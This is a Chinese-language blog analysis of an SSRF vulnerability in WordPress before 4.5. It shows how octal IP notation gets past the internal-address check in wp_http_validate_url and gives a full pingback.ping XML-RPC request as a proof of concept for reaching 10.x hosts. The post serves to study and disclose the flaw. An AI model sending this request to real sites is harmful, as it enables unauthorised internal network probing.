【Code Analysis】wordpress SSRF <4.5

  1. 1. 概述
  2. 2. ip地址的几种表示方式
    1. 2.0.0.1. 常见的ip地址域名表示方法
    2. 2.0.0.2. 非常见ip地址域名表示方法
  • 3. 代码详情
  • 4. 利用
  • 5. 总结
  • 参考
  • 概述

    前几天,wordpress爆出一个SSRF的漏洞,跟进一下,查阅了一下,网上并没有详细的利用方式。以前也没怎么接触过wordpress,看了一下受影响的代码,记录一下过程。

    ip地址的几种表示方式

    ip地址域名有多种表示方式,浏览器都能识别出来。

    常见的ip地址域名表示方法
    • 点分十进制表示法,例如192.168.1.2
    • 二进制表示法例如11000000101010000000000100000010,表示192.168.1.2
    非常见ip地址域名表示方法
    • 整数型:将上述的二进制直接转换成整数3232235778,浏览器通过访问http://3232235778 解析为192.168.1.2,除此之外还可以通过公式192*256^3+168*256^2+1*256+2=3232235778换算
    • 八进制型:将IP 192.168.1.2换成8进制0300.0250.01.02,在前面加上0表示8进制
    • 十六进制型:将IP 192.168.1.2换成16进制0xc0.0xA8.1.2,在前面加上0x表示16进制
    • 混合型:即以上的几种方式的结合,0300.0xA8.1.0x02

    下面就是通过八进制绕过检测。

    代码详情

    漏洞成因处508 wp_http_validate_url 函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ......
    if ( ! $same_host ) {
    $host = trim( $parsed_url['host'], '.' );
    if ( preg_match( '#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $host ) ) {
    $ip = $host;
    } else {
    $ip = gethostbyname( $host );
    if ( $ip === $host ) // Error condition for gethostbyname()
    $ip = false;
    }
    if ( $ip ) {
    $parts = array_map( 'intval', explode( '.', $ip ) );
    if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
    || ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
    || ( 192 === $parts[0] && 168 === $parts[1] )
    ) {
    ......

    这里的代码通过正则表达式^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$判断ip是否合法,如果不合法则通过网络获取ip的值。
    下面的if判断则是用来防止给的url为内网ip,但是上述的正则表达式可以通过8进制绕过内网限制。

    1
    2
    3
    4
    5
    6
    if ( empty( $parsed_url['port'] ) )
    return $url;

    $port = $parsed_url['port'];
    if ( 80 === $port || 443 === $port || 8080 === $port )
    return $url;

    再接下来可以看到程序又对端口做了限制,只能扫描80,443,8080端口。
    综上所述,通过8进制绕过ip判断,可以扫描内网的80,443,8080
    找一下调用的位置,可以找到class-wp-xmlrpc-server.php通过wp_safe_remote_get调用了get函数,get函数使用了wp_http_validate_url,从而造成ssrf

    利用

    利用的方式为通过xmlrpc.php中pingback.ping功能来调用这个函数。
    POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    POST /cms/wordpress/wp442/xmlrpc.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 321

    <?xml version="1.0" encoding="iso-8859-1"?>
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
    <param><value><string>http://012.10.10.111:8080/testvul</string></value></param><param><value><string>http://localhost/cms/wordpress/wp442/2016/08/19/hello-world/</string></value></param>
    </params>
    </methodCall>

    这里设置10.10.10.111为受害者
    image

    总结

    在测试中发现只能对10.x.x.x的内网ip进行利用,因为正则的原因至多只能有3位数字,一位需要为0来表示8进制,所以利用只有10,并且只能扫描80,443,8080端口。由于利用中不回显,也很难确定是否成功利用。所以这个洞可能危害比较小(太菜了,想不到其他的利用方式,有其他的利用方式记得分享啊!!!)
    还有一种利用就是开启xmlrpc的wordpress站可以被通过pingback.ping方法来DDOS,这个以前就有人提出来了。

    参考

    http://xlab.baidu.com/wordpress/
    https://virusdefender.net/index.php/archives/733/